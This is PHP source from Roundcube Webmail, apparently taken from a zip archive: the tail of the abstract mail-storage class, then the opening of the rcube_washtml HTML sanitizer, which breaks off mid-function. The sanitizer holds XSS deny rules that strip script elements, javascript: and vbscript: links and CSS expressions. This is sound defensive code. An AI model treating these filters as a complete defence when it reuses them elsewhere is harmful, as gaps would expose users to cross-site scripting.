     * @param mixed  $uids  Message UIDs as array or comma-separated string, or '*'
     * @param string $to    Target folder
     * @param string $from  Source folder
     *
     * @return bool True on success, False on error
     */
    abstract function move_message($uids, $to, $from = null);

    /**
     * Copy message(s) from one mailbox to another.
     *
     * @param mixed  $uids  Message UIDs as array or comma-separated string, or '*'
     * @param string $to    Target folder
     * @param string $from  Source folder
     *
     * @return bool True on success, False on error
     */
    abstract function copy_message($uids, $to, $from = null);

    /**
     * Mark message(s) as deleted and expunge.
     *
     * @param mixed  $uids    Message UIDs as array or comma-separated string, or '*'
     * @param string $folder  Source folder
     *
     * @return bool True on success, False on error
     */
    abstract function delete_message($uids, $folder = null);

    /**
     * Expunge message(s) and clear the cache.
     *
     * @param mixed   $uids        Message UIDs as array or comma-separated string, or '*'
     * @param string  $folder      Folder name
     * @param bool    $clear_cache False if cache should not be cleared
     *
     * @return bool True on success, False on error
     */
    abstract function expunge_message($uids, $folder = null, $clear_cache = true);

    /**
     * Parse message UIDs input
     *
     * @param mixed $uids Message UIDs as array or comma-separated string, or '*'
     *                    or rcube_result_index object
     *
     * @return array Two elements array with UIDs converted to list and ALL flag
     */
    protected function parse_uids($uids)
    {
        $all = false;

        if ($uids instanceof rcube_result_index) {
            $uids = $uids->get_compressed();
        }
        else if ($uids === '*' || $uids === '1:*') {
            if (empty($this->search_set)) {
                $uids = '1:*';
                $all = true;
            }
            // get UIDs from current search set
            else {
                $uids = implode(',', $this->search_set->get());
            }
        }
        else {
            if (is_array($uids)) {
                $uids = implode(',', $uids);
            }
            else if (strpos($uids, ':')) {
                $uids = implode(',', rcube_imap_generic::uncompressMessageSet($uids));
            }

            if (preg_match('/[^0-9,]/', $uids)) {
                $uids = '';
            }
        }

        return [$uids, $all];
    }


    /* --------------------------------
     *        folder management
     * --------------------------------*/

    /**
     * Get a list of subscribed folders.
     *
     * @param   string  $root      Optional root folder
     * @param   string  $name      Optional name pattern
     * @param   string  $filter    Optional filter
     * @param   string  $rights    Optional ACL requirements
     * @param   bool    $skip_sort Enable to return unsorted list (for better performance)
     *
     * @return  array   List of folders
     */
    abstract function list_folders_subscribed($root = '', $name = '*', $filter = null, $rights = null, $skip_sort = false);

    /**
     * Get a list of all folders available on the server.
     *
     * @param string  $root      IMAP root dir
     * @param string  $name      Optional name pattern
     * @param mixed   $filter    Optional filter
     * @param string  $rights    Optional ACL requirements
     * @param bool    $skip_sort Enable to return unsorted list (for better performance)
     *
     * @return array Indexed array with folder names
     */
    abstract function list_folders($root = '', $name = '*', $filter = null, $rights = null, $skip_sort = false);

    /**
     * Subscribe to a specific folder(s)
     *
     * @param array $folders Folder name(s)
     *
     * @return bool True on success
     */
    abstract function subscribe($folders);

    /**
     * Unsubscribe folder(s)
     *
     * @param array $folders Folder name(s)
     *
     * @return bool True on success
     */
    abstract function unsubscribe($folders);

    /**
     * Create a new folder on the server.
     *
     * @param string  $folder    New folder name
     * @param bool    $subscribe True if the new folder should be subscribed
     * @param string  $type      Optional folder type (junk, trash, drafts, sent, archive)
     * @param bool    $noselect  Make the folder \NoSelect folder by adding hierarchy
     *                           separator at the end (useful for server that do not support
     *                           both folders and messages as folder children)
     *
     * @return bool True on success, False on error
     */
    abstract function create_folder($folder, $subscribe = false, $type = null, $noselect = false);

    /**
     * Set a new name to an existing folder
     *
     * @param string $folder   Folder to rename
     * @param string $new_name New folder name
     *
     * @return bool True on success, False on error
     */
    abstract function rename_folder($folder, $new_name);

    /**
     * Remove a folder from the server.
     *
     * @param string $folder Folder name
     *
     * @return bool True on success, False on error
     */
    abstract function delete_folder($folder);

    /**
     * Send expunge command and clear the cache.
     *
     * @param string  $folder      Folder name
     * @param bool    $clear_cache False if cache should not be cleared
     *
     * @return bool True on success, False on error
     */
    public function expunge_folder($folder = null, $clear_cache = true)
    {
        return $this->expunge_message('*', $folder, $clear_cache);
    }

    /**
     * Remove all messages in a folder.
     *
     * @param string  $folder  Folder name
     *
     * @return bool True on success, False on error
     */
    public function clear_folder($folder = null)
    {
        return $this->delete_message('*', $folder);
    }

    /**
     * Checks if folder exists and is subscribed
     *
     * @param string  $folder       Folder name
     * @param bool    $subscription Enable subscription checking
     *
     * @return bool True if folder exists, False otherwise
     */
    abstract function folder_exists($folder, $subscription = false);

    /**
     * Get folder size (size of all messages in a folder)
     *
     * @param string $folder Folder name
     *
     * @return int Folder size in bytes, False on error
     */
    abstract function folder_size($folder);

    /**
     * Returns the namespace where the folder is in
     *
     * @param string $folder Folder name
     *
     * @return string One of 'personal', 'other' or 'shared'
     */
    abstract function folder_namespace($folder);

    /**
     * Gets folder attributes (from LIST response, e.g. \Noselect, \Noinferiors).
     *
     * @param string $folder  Folder name
     * @param bool   $force   Set to True if attributes should be refreshed
     *
     * @return array Options list
     */
    abstract function folder_attributes($folder, $force = false);

    /**
     * Gets connection (and current folder) data: UIDVALIDITY, EXISTS, RECENT,
     * PERMANENTFLAGS, UIDNEXT, UNSEEN
     *
     * @param string $folder Folder name
     *
     * @return array Data
     */
    abstract function folder_data($folder);

    /**
     * Returns extended information about the folder.
     *
     * @param string $folder Folder name
     *
     * @return array Data
     */
    abstract function folder_info($folder);

    /**
     * Returns current status of a folder (compared to the last time use)
     *
     * @param string $folder Folder name
     * @param array  $diff   Difference data
     *
     * @return int Folder status
     */
    abstract function folder_status($folder = null, &$diff = []);

    /**
     * Synchronizes messages cache.
     *
     * @param string $folder Folder name
     */
    abstract function folder_sync($folder);

    /**
     * Modify folder name according to namespace.
     * For output it removes prefix of the personal namespace if it's possible.
     * For input it adds the prefix. Use it before creating a folder in root
     * of the folders tree.
     *
     * @param string $folder  Folder name
     * @param string $mode    Mode name (out/in)
     *
     * @return string Folder name
     */
    abstract function mod_folder($folder, $mode = 'out');

    /**
     * Check if the folder name is valid
     *
     * @param string $folder Folder name (UTF-8)
     * @param string &$char  First forbidden character found
     *
     * @return bool True if the name is valid, False otherwise
     */
    public function folder_validate($folder, &$char = null)
    {
        $delim = $this->get_hierarchy_delimiter();

        if (strpos($folder, $delim) !== false) {
            $char = $delim;
            return false;
        }

        return true;
    }

    /**
     * Create all folders specified as default
     */
    public function create_default_folders()
    {
        $rcube = rcube::get_instance();

        // create default folders if they do not exist
        foreach (self::$folder_types as $type) {
            if ($folder = $rcube->config->get($type . '_mbox')) {
                if (!$this->folder_exists($folder)) {
                    $this->create_folder($folder, true, $type);
                }
                else if (!$this->folder_exists($folder, true)) {
                    $this->subscribe($folder);
                }
            }
        }
    }

    /**
     * Check if specified folder is a special folder
     */
    public function is_special_folder($name)
    {
        return $name == 'INBOX' || in_array($name, $this->get_special_folders());
    }

    /**
     * Return configured special folders
     */
    public function get_special_folders($forced = false)
    {
        // getting config might be expensive, store special folders in memory
        if (!isset($this->icache['special-folders'])) {
            $rcube = rcube::get_instance();
            $this->icache['special-folders'] = [];

            foreach (self::$folder_types as $type) {
                if ($folder = $rcube->config->get($type . '_mbox')) {
                    $this->icache['special-folders'][$type] = $folder;
                }
            }
        }

        return $this->icache['special-folders'];
    }

    /**
     * Set special folder associations stored in backend
     */
    public function set_special_folders($specials)
    {
        // should be overridden by storage class if backend supports special folders (SPECIAL-USE)
        unset($this->icache['special-folders']);
    }

    /**
     * Get mailbox quota information.
     *
     * @param string $folder  Folder name
     *
     * @return mixed Quota info or False if not supported
     */
    abstract function get_quota($folder = null);


    /* -----------------------------------------
     *   ACL and METADATA methods
     * ----------------------------------------*/

    /**
     * Changes the ACL on the specified folder (SETACL)
     *
     * @param string $folder  Folder name
     * @param string $user    User name
     * @param string $acl     ACL string
     *
     * @return bool True on success, False on failure
     */
    abstract function set_acl($folder, $user, $acl);

    /**
     * Removes any <identifier,rights> pair for the
     * specified user from the ACL for the specified
     * folder (DELETEACL).
     *
     * @param string $folder  Folder name
     * @param string $user    User name
     *
     * @return bool True on success, False on failure
     */
    abstract function delete_acl($folder, $user);

    /**
     * Returns the access control list for a folder (GETACL).
     *
     * @param string $folder Folder name
     *
     * @return array User-rights array on success, NULL on error
     */
    abstract function get_acl($folder);

    /**
     * Returns information about what rights can be granted to the
     * user (identifier) in the ACL for the folder (LISTRIGHTS).
     *
     * @param string $folder  Folder name
     * @param string $user    User name
     *
     * @return array List of user rights
     */
    abstract function list_rights($folder, $user);

    /**
     * Returns the set of rights that the current user has to a folder (MYRIGHTS).
     *
     * @param string $folder Folder name
     *
     * @return array MYRIGHTS response on success, NULL on error
     */
    abstract function my_rights($folder);

    /**
     * Sets metadata/annotations (SETMETADATA/SETANNOTATION)
     *
     * @param string $folder  Folder name (empty for server metadata)
     * @param array  $entries Entry-value array (use NULL value as NIL)
     *
     * @return bool True on success, False on failure
     */
    abstract function set_metadata($folder, $entries);

    /**
     * Unsets metadata/annotations (SETMETADATA/SETANNOTATION)
     *
     * @param string $folder  Folder name (empty for server metadata)
     * @param array  $entries Entry names array
     *
     * @return bool True on success, False on failure
     */
    abstract function delete_metadata($folder, $entries);

    /**
     * Returns folder metadata/annotations (GETMETADATA/GETANNOTATION).
     *
     * @param string $folder   Folder name (empty for server metadata)
     * @param array  $entries  Entries
     * @param array  $options  Command options (with MAXSIZE and DEPTH keys)
     * @param bool   $force    Disables cache use
     *
     * @return array Metadata entry-value hash array on success, NULL on error
     */
    abstract function get_metadata($folder, $entries, $options = [], $force = false);

    /* -----------------------------------------
     *   Cache related functions
     * ----------------------------------------*/

    /**
     * Clears the cache.
     *
     * @param string  $key         Cache key name or pattern
     * @param bool    $prefix_mode Enable it to clear all keys starting
     *                             with prefix specified in $key
     */
    abstract function clear_cache($key = null, $prefix_mode = false);

    /**
     * Returns cached value
     *
     * @param string $key Cache key
     *
     * @return mixed Cached value
     */
    abstract function get_cache($key);

    /**
     * Delete outdated cache entries
     */
    abstract function cache_gc();
}
PK
h�\7�I-�-�'program/lib/Roundcube/rcube_washtml.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Utility class providing HTML sanitizer (based on Washtml class)     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Frederic Motte <fmotte@ubixis.com>                            |
 +-----------------------------------------------------------------------+

                Washtml, a HTML sanitizer.

 Copyright (c) 2007 Frederic Motte <fmotte@ubixis.com>
 All rights reserved.

 Redistribution and use in source and binary forms, with or without
 modification, are permitted provided that the following conditions
 are met:
 1. Redistributions of source code must retain the above copyright
    notice, this list of conditions and the following disclaimer.
 2. Redistributions in binary form must reproduce the above copyright
    notice, this list of conditions and the following disclaimer in the
    documentation and/or other materials provided with the distribution.

 THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

/**
 * Utility class providing HTML sanitizer
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_washtml
{
    /**
     * @var array Allowed HTML elements (default)
     */
    static $html_elements = ['a', 'abbr', 'acronym', 'address', 'area', 'b',
        'basefont', 'bdo', 'big', 'blockquote', 'br', 'caption', 'center',
        'cite', 'code', 'col', 'colgroup', 'dd', 'del', 'dfn', 'dir', 'div', 'dl',
        'dt', 'em', 'fieldset', 'font', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'hr', 'i',
        'ins', 'label', 'legend', 'li', 'map', 'menu', 'nobr', 'ol', 'p', 'pre', 'q',
        's', 'samp', 'small', 'span', 'strike', 'strong', 'sub', 'sup', 'table',
        'tbody', 'td', 'tfoot', 'th', 'thead', 'tr', 'tt', 'u', 'ul', 'var', 'wbr', 'img',
        'video', 'source',
        // form elements
        'button', 'input', 'textarea', 'select', 'option', 'optgroup',
        // SVG
        'svg', 'altglyph', 'altglyphdef', 'altglyphitem', 'animate',
        'animatecolor', 'animatetransform', 'circle', 'clippath', 'defs', 'desc',
        'ellipse', 'font', 'g', 'glyph', 'glyphref', 'hkern', 'image', 'line',
        'lineargradient', 'marker', 'mask', 'mpath', 'path', 'pattern',
        'polygon', 'polyline', 'radialgradient', 'rect', 'set', 'stop', 'switch', 'symbol',
        'text', 'textpath', 'tref', 'tspan', 'use', 'view', 'vkern', 'filter',
         // SVG Filters
        'feblend', 'fecolormatrix', 'fecomponenttransfer', 'fecomposite',
        'feconvolvematrix', 'fediffuselighting', 'fedisplacementmap',
        'feflood', 'fefunca', 'fefuncb', 'fefuncg', 'fefuncr', 'fegaussianblur',
        'feimage', 'femerge', 'femergenode', 'femorphology', 'feoffset',
        'fespecularlighting', 'fetile', 'feturbulence',
        // MathML
        'math', 'menclose', 'merror', 'mfenced', 'mfrac', 'mglyph', 'mi', 'mlabeledtr',
        'mmuliscripts', 'mn', 'mo', 'mover', 'mpadded', 'mphantom', 'mroot', 'mrow',
        'ms', 'mspace', 'msqrt', 'mstyle', 'msub', 'msup', 'msubsup', 'mtable', 'mtd',
        'mtext', 'mtr', 'munder', 'munderover', 'maligngroup', 'malignmark',
        'mprescripts', 'semantics', 'annotation', 'annotation-xml', 'none',
        'infinity', 'matrix', 'matrixrow', 'ci', 'cn', 'sep', 'apply',
        'plus', 'minus', 'eq', 'power', 'times', 'divide', 'csymbol', 'root',
        'bvar', 'lowlimit', 'uplimit',
    ];

    /**
     * @var array Ignore these HTML tags and their content
     */
    static $ignore_elements = ['script', 'applet', 'embed', 'style'];

    /**
     * @var array Allowed HTML attributes
     */
    static $html_attribs = ['name', 'class', 'title', 'alt', 'width', 'height',
        'align', 'nowrap', 'col', 'row', 'id', 'rowspan', 'colspan', 'cellspacing',
        'cellpadding', 'valign', 'bgcolor', 'color', 'border', 'bordercolorlight',
        'bordercolordark', 'face', 'marginwidth', 'marginheight', 'axis', 'border',
        'abbr', 'char', 'charoff', 'clear', 'compact', 'coords', 'vspace', 'hspace',
        'cellborder', 'size', 'lang', 'dir', 'usemap', 'shape', 'media',
        'background', 'src', 'poster', 'href', 'headers', 'start', 'reversed',
        // attributes of form elements
        'type', 'rows', 'cols', 'disabled', 'readonly', 'checked', 'multiple', 'value', 'for',
        // SVG
        'accent-height', 'accumulate', 'additive', 'alignment-baseline', 'alphabetic',
        'ascent', 'attributename', 'attributetype', 'azimuth', 'basefrequency', 'baseprofile',
        'baseline-shift', 'begin', 'bias', 'by', 'clip', 'clip-path', 'clip-rule',
        'color', 'color-interpolation', 'color-interpolation-filters', 'color-profile',
        'color-rendering', 'cx', 'cy', 'd', 'dx', 'dy', 'diffuseconstant', 'direction',
        'display', 'divisor', 'dur', 'edgemode', 'elevation', 'end', 'fill', 'fill-opacity',
        'fill-rule', 'filter', 'flood-color', 'flood-opacity', 'font-family', 'font-size',
        'font-size-adjust', 'font-stretch', 'font-style', 'font-variant', 'font-weight', 'from',
        'fx', 'fy', 'g1', 'g2', 'glyph-name', 'glyphref', 'gradientunits', 'gradienttransform',
        'image-rendering', 'in', 'in2', 'k', 'k1', 'k2', 'k3', 'k4', 'kerning', 'keypoints',
        'keysplines', 'keytimes', 'lengthadjust', 'letter-spacing', 'kernelmatrix',
        'kernelunitlength', 'lighting-color', 'local', 'marker-end', 'marker-mid',
        'marker-start', 'markerheight', 'markerunits', 'markerwidth', 'maskcontentunits',
        'maskunits', 'max', 'mask', 'mode', 'min', 'numoctaves', 'offset', 'operator',
        'opacity', 'order', 'orient', 'orientation', 'origin', 'overflow', 'paint-order',
        'path', 'pathlength', 'patterncontentunits', 'patterntransform', 'patternunits',
        'points', 'preservealpha', 'r', 'rx', 'ry', 'radius', 'refx', 'refy', 'repeatcount',
        'repeatdur', 'restart', 'rotate', 'scale', 'seed', 'shape-rendering', 'show', 'specularconstant',
        'specularexponent', 'spreadmethod', 'stddeviation', 'stitchtiles', 'stop-color',
        'stop-opacity', 'stroke-dasharray', 'stroke-dashoffset', 'stroke-linecap',
        'stroke-linejoin', 'stroke-miterlimit', 'stroke-opacity', 'stroke', 'stroke-width',
        'surfacescale', 'targetx', 'targety', 'transform', 'text-anchor', 'text-decoration',
        'text-rendering', 'textlength', 'to', 'u1', 'u2', 'unicode', 'values', 'viewbox',
        'visibility', 'vert-adv-y', 'version', 'vert-origin-x', 'vert-origin-y', 'word-spacing',
        'wrap', 'writing-mode', 'xchannelselector', 'ychannelselector', 'x', 'x1', 'x2',
        'xmlns', 'y', 'y1', 'y2', 'z', 'zoomandpan',
        // MathML
        'accent', 'accentunder', 'bevelled', 'close', 'columnalign', 'columnlines',
        'columnspan', 'denomalign', 'depth', 'display', 'displaystyle', 'encoding', 'fence',
        'frame', 'largeop', 'length', 'linethickness', 'lspace', 'lquote',
        'mathbackground', 'mathcolor', 'mathsize', 'mathvariant', 'maxsize',
        'minsize', 'movablelimits', 'notation', 'numalign', 'open', 'rowalign',
        'rowlines', 'rowspacing', 'rowspan', 'rspace', 'rquote', 'scriptlevel',
        'scriptminsize', 'scriptsizemultiplier', 'selection', 'separator',
        'separators', 'stretchy', 'subscriptshift', 'supscriptshift', 'symmetric', 'voffset',
        'fontsize', 'fontweight', 'fontstyle', 'fontfamily', 'groupalign', 'edge', 'side',
    ];

    /**
     * @var array Elements which could be empty and be returned in short form (<tag />)
     */
    static $void_elements = ['area', 'base', 'br', 'col', 'command', 'embed', 'hr',
        'img', 'input', 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr',
        // MathML
        'sep', 'infinity', 'in', 'plus', 'eq', 'power', 'times', 'divide', 'root',
        'maligngroup', 'none', 'mprescripts',
    ];

    /**
     * @var array Additional allowed attributes of body element
     */
    static $body_attribs = ['alink', 'background', 'bgcolor', 'link', 'text', 'vlink'];

    /** @var bool State indicating existence of linked objects in HTML */
    public $extlinks = false;

    /** @var array Current settings */
    private $config = [];

    /** @var array Registered callback functions for tags */
    private $handlers = [];

    /** @var array Allowed HTML elements */
    private $_html_elements = [];

    /** @var array Ignore these HTML tags but process their content */
    private $_ignore_elements = [];

    /** @var array Elements which could be empty and be returned in short form (<tag />) */
    private $_void_elements = [];

    /** @var array Allowed HTML attributes */
    private $_html_attribs = [];

    /** @var string A prefix to be added to id/class/for attribute values */
    private $_css_prefix;

    /** @var int Max nesting level */
    private $max_nesting_level;

    /** @var bool Indicates that a nesting level error was logged */
    private $max_nesting_level_error = false;

    /** @var bool True if current document is XML */
    private $is_xml = false;


    /**
     * Class constructor
     *
     * @param array $p Configuration options:
     *         allow_remote: is a boolean to allow link to remote resources (images/css)
     *         blocked_src: string with image-src to be used for blocked remote images
     *         show_washed: is a boolean to include washed out attributes as x-washed
     *         cid_map: is an array where cid urls index urls to replace them
     *         charset: is a string containing the charset of the HTML document,
     *                  to be used if the charset is not defined in the document
     *         css_prefix: A prefix to be added to id/class/for attribute values
     *         html_elements: Additional allowed HTML elements
     *         ignore_elements: Additional HTML elements to ignore
     *         html_attribs: Additional allowed HTML attributes
     *         void_elements: Elements which could be empty and be returned in short form (<tag />)
     */
    public function __construct($p = [])
    {
        $p['html_elements']   = isset($p['html_elements']) ? (array) $p['html_elements'] : [];
        $p['html_attribs']    = isset($p['html_attribs']) ? (array) $p['html_attribs'] : [];
        $p['ignore_elements'] = isset($p['ignore_elements']) ? (array) $p['ignore_elements'] : [];
        $p['void_elements']   = isset($p['void_elements']) ? (array) $p['void_elements'] : [];

        $this->_html_elements   = array_flip($p['html_elements']) + array_flip(self::$html_elements);
        $this->_html_attribs    = array_flip($p['html_attribs']) + array_flip(self::$html_attribs);
        $this->_ignore_elements = array_flip($p['ignore_elements']) + array_flip(self::$ignore_elements);
        $this->_void_elements   = array_flip($p['void_elements']) + array_flip(self::$void_elements);
        $this->_css_prefix      = isset($p['css_prefix']) && strlen($p['css_prefix']) ? $p['css_prefix'] : null;

        unset($p['html_elements'], $p['html_attribs'], $p['ignore_elements'], $p['void_elements'], $p['css_prefix']);

        $this->config = $p + ['show_washed' => true, 'allow_remote' => false, 'cid_map' => [], 'base_url' => ''];

        if (!isset($this->config['charset'])) {
            $this->config['charset'] = RCUBE_CHARSET;
        }
    }

    /**
     * Register a callback function for a certain tag
     *
     * @param string   $tag      HTML tag name
     * @param callable $callback Callback function
     */
    public function add_callback($tag, $callback)
    {
        $this->handlers[$tag] = $callback;
    }

    /**
     * Check CSS style
     *
     * @param string $style CSS style
     *
     * @return string Washed CSS style
     */
    private function wash_style($style)
    {
        $result = [];

        // Remove unwanted white-space characters so regular expressions below work better
        $style = preg_replace('/[\n\r\s\t]+/', ' ', $style);

        // Decode insecure character sequences
        $style = rcube_utils::xss_entity_decode($style);

        foreach (rcube_utils::parse_css_block($style) as $rule) {
            $cssid = $rule[0];
            $value = '';

            foreach ($this->explode_style($rule[1]) as $val) {
                if (preg_match('/^url\(/i', $val)) {
                    if (preg_match('/^url\(\s*[\'"]?([^\'"\)]*)[\'"]?\s*\)/iu', $val, $match)) {
                        if ($url = $this->wash_uri($match[1])) {
                            $value .= ' url(' . htmlspecialchars($url, ENT_QUOTES, $this->config['charset']) . ')';
                        }
                    }
                }
                else if (!preg_match('/^(behavior|expression)/i', $val)) {
                    // Set position:fixed to position:absolute for security (#5264)
                    if (!strcasecmp($cssid, 'position') && !strcasecmp($val, 'fixed')) {
                        $val = 'absolute';
                    }

                    // whitelist ?
                    $value .= ' ' . $val;

                    // #1488535: Fix size units, so width:800 would be changed to width:800px
                    if (preg_match('/^(left|right|top|bottom|width|height)/i', $cssid)
                        && preg_match('/^[0-9]+$/', $val)
                    ) {
                        $value .= 'px';
                    }
                }
            }

            if (isset($value[0])) {
                $result[] = $cssid . ': ' . trim($value);
            }
        }

        return implode('; ', $result);
    }

    /**
     * Take a node and return allowed attributes and check values
     *
     * @param DOMNode $node Document element
     *
     * @return string Washed element attributes
     */
    private function wash_attribs($node)
    {
        $result = '';
        $washed = [];
        $additional_attribs = [];

        if ($node->nodeName == 'body') {
            $additional_attribs = self::$body_attribs;
        }

        foreach ($node->attributes as $name => $attr) {
            $key   = strtolower($name);
            $value = $attr->nodeValue;

            if ($key == 'style' && ($style = $this->wash_style($value))) {
                // replace double quotes to prevent syntax error and XSS issues (#1490227)
                $result .= ' style="' . str_replace('"', '&quot;', $style) . '"';
            }
            else if (isset($this->_html_attribs[$key]) || in_array($key, $additional_attribs)) {
                $value = trim($value);
                $out   = null;

                // in SVG to/from attribs may contain anything, including URIs
                if ($key == 'to' || $key == 'from') {
                    $key = strtolower($node->getAttribute('attributeName'));
                    if ($key && !isset($this->_html_attribs[$key])) {
                        $key = null;
                    }
                }

                if ($this->is_image_attribute($node->nodeName, $key)) {
                    $out = $this->wash_uri($value, true);
                }
                else if ($this->is_link_attribute($node->nodeName, $key)) {
                    $out = $this->wash_link($value);
                }
                else if ($this->is_funciri_attribute($node->nodeName, $key)) {
                    if (preg_match('/^[a-z:]*url\(/i', $value)) {
                        if (preg_match('/^([a-z:]*url)\(\s*[\'"]?([^\'"\)]*)[\'"]?\s*\)/iu', $value, $match)) {
                            if ($url = $this->wash_uri($match[2])) {
                                $result .= ' ' . $attr->nodeName . '="' . $match[1]
                                    . '(' . htmlspecialchars($url, ENT_QUOTES, $this->config['charset']) . ')'
                                    . htmlspecialchars(substr($value, strlen($match[0])), ENT_QUOTES, $this->config['charset']) . '"';
                                continue;
                            }
                        }
                        else {
                            $out = $value;
                        }
                    }
                    else {
                        $out = $value;
                    }
                }
                else if ($this->_css_prefix !== null
                    && (in_array($key, ['id', 'class', 'for']) || ($key == 'name' && $node->nodeName == 'a'))
                ) {
                    $out = preg_replace('/(\S+)/', $this->_css_prefix . '\1', $value);
                }
                else if ($key) {
                   $out = $value;
                }

                if ($out !== null && $out !== '') {
                    $v = htmlspecialchars($out, ENT_QUOTES | ENT_SUBSTITUTE, $this->config['charset']);
                    $result .= " {$attr->nodeName}=\"{$v}\"";
                }
                else if ($value) {
                    $washed[] = htmlspecialchars($attr->nodeName, ENT_QUOTES, $this->config['charset']);
                }
            }
            else {
                $washed[] = htmlspecialchars($attr->nodeName, ENT_QUOTES, $this->config['charset']);
            }
        }

        if (!empty($washed) && $this->config['show_washed']) {
            $result .= ' x-washed="' . implode(' ', $washed) . '"';
        }

        return $result;
    }

    /**
     * Wash URI value
     *
     * @param string $uri            URI
     * @param bool   $blocked_source Block remote source
     * @param bool   $is_image       URI points to an image
     *
     * @return string Washed URI
     */
    private function wash_uri($uri, $blocked_source = false, $is_image = true)
    {
        if (!empty($this->config['cid_map'][$uri])) {
            return $this->config['cid_map'][$uri];
        }

        $key = $this->config['base_url'] . $uri;
        if (!empty($this->config['cid_map'][$key])) {
            return $this->config['cid_map'][$key];
        }

        // allow url(#id) used in SVG
        if (isset($uri[0]) && $uri[0] == '#') {
            if ($this->_css_prefix !== null) {
                $uri = '#' . $this->_css_prefix . substr($uri, 1);
            }

            return $uri;
        }

        if (preg_match('/^(http|https|ftp):.+/i', $uri)) {
            if (!empty($this->config['allow_remote'])) {
                return $uri;
            }

            $this->extlinks = true;
            if ($is_image && !empty($this->config['blocked_src'])) {
                return $this->config['blocked_src'];
            }
        }
        else if ($is_image && preg_match('/^data:image\/([^,]+),(.+)$/is', $uri, $matches)) { // RFC2397
            $type = preg_replace('/\s/', '', $matches[1]);

            // svg images can be insecure, we'll sanitize them
            if (stripos($type, 'svg') !== false) {
                $svg = $matches[2];

                if (stripos($type, ';base64') !== false) {
                    $svg = base64_decode($svg);
                }
                else {
                    $type .= ';base64';
                }

                $washer = new self($this->config);
                $svg    = $washer->wash($svg);

                // Invalid svg content
                if (empty($svg)) {
                    return null;
                }

                return 'data:image/' . $type . ',' . base64_encode($svg);
            }

            return $uri;
        }
    }

    /**
     * Wash Href value
     *
     * @param string $href Href attribute value (link)
     *
     * @return string Washed href
     */
    private function wash_link($href)
    {
        if (strlen($href) && !preg_match('!^(javascript|vbscript|data:)!i', $href)) {
            if ($href[0] == '#' && $this->_css_prefix !== null) {
                return '#' . $this->_css_prefix . substr($href, 1);
            }

            if (preg_match('!^[a-zA-Z._-]+$!', $href)) {
                return 'http://' . $href;
            }

            if (preg_match('!^([a-z][a-z0-9.+-]+:|//|#).+!i', $href)) {
                return $href;
            }
        }
    }

    /**
     * Check it the tag/attribute may contain an URI
     *
     * @param string $tag  Element name
     * @param string $attr Attribute name
     *
     * @return bool True if attribute may contain an URI, False otherwise
     */
    private function is_link_attribute($tag, $attr)
    {
        return $attr === 'href';
    }

    /**
     * Check it the tag/attribute may contain an image URI
     *
     * @param string $tag  Element name
     * @param string $attr Attribute name
     *
     * @return bool True if attribute may contain an image URI, False otherwise
     */
    private function is_image_attribute($tag, $attr)
    {
        return $attr == 'background'
            || $attr == 'color-profile' // SVG
            || ($attr == 'poster' && $tag == 'video')
            || ($attr == 'src' && preg_match('/^(img|image|source|input|video|audio)$/i', $tag))
            || ($tag == 'use' && $attr == 'href') // SVG
            || ($tag == 'image' && $attr == 'href'); // SVG
    }

    /**
     * Check it the tag/attribute may contain a FUNCIRI value
     *
     * @param string $tag  Element name
     * @param string $attr Attribute name
     *
     * @return bool True if attribute may contain a FUNCIRI value, False otherwise
     */
    private function is_funciri_attribute($tag, $attr)
    {
        return in_array($attr, ['fill', 'filter', 'stroke', 'marker-start',
            'marker-end', 'marker-mid', 'clip-path', 'mask', 'cursor']);
    }

    /**
     * Check if a specified element has an attribute with specified value.
     * Do it in case-insensitive manner.
     *
     * @param DOMElement $node       The element
     * @param string     $attr_name  The attribute name
     * @param string     $attr_value The attribute value to find
     *
     * @return bool True if the specified attribute exists and has the expected value
     */
    private static function attribute_value($node, $attr_name, $attr_value)
    {
        $attr_name = strtolower($attr_name);

        foreach ($node->attributes as $name => $attr) {
            if (strtolower($name) === $attr_name) {
                if (strtolower($attr_value) === strtolower(trim($attr->nodeValue))) {
                    return true;
                }
            }
        }

        return false;
    }

    /**
     * The main loop that recurse on a node tree.
     * It output only allowed tags with allowed attributes and allowed inline styles
     *
     * @param DOMNode $node  HTML element
     * @param int     $level Recurrence level (safe initial value found empirically)
     *
     * @return string HTML content
     */
    private function dumpHtml($node, $level = 20)
    {
        if (!$node->hasChildNodes()) {
            return '';
        }

        $level++;

        if ($this->max_nesting_level > 0 && $level == $this->max_nesting_level - 1) {
            // log error message once
            if (empty($this->max_nesting_level_error)) {
                $this->max_nesting_level_error = true;
                rcube::raise_error([
                        'code' => 500, 'line' => __LINE__, 'file' => __FILE__,
                        'message' => "Maximum nesting level exceeded (xdebug.max_nesting_level={$this->max_nesting_level})"
                    ],
                    true, false
                );
            }

            return '<!-- ignored -->';
        }

        $node = $node->firstChild;
        $dump = '';

        do {
            switch ($node->nodeType) {
            case XML_ELEMENT_NODE: //Check element
                $tagName = strtolower($node->nodeName);

                if ($tagName == 'link') {
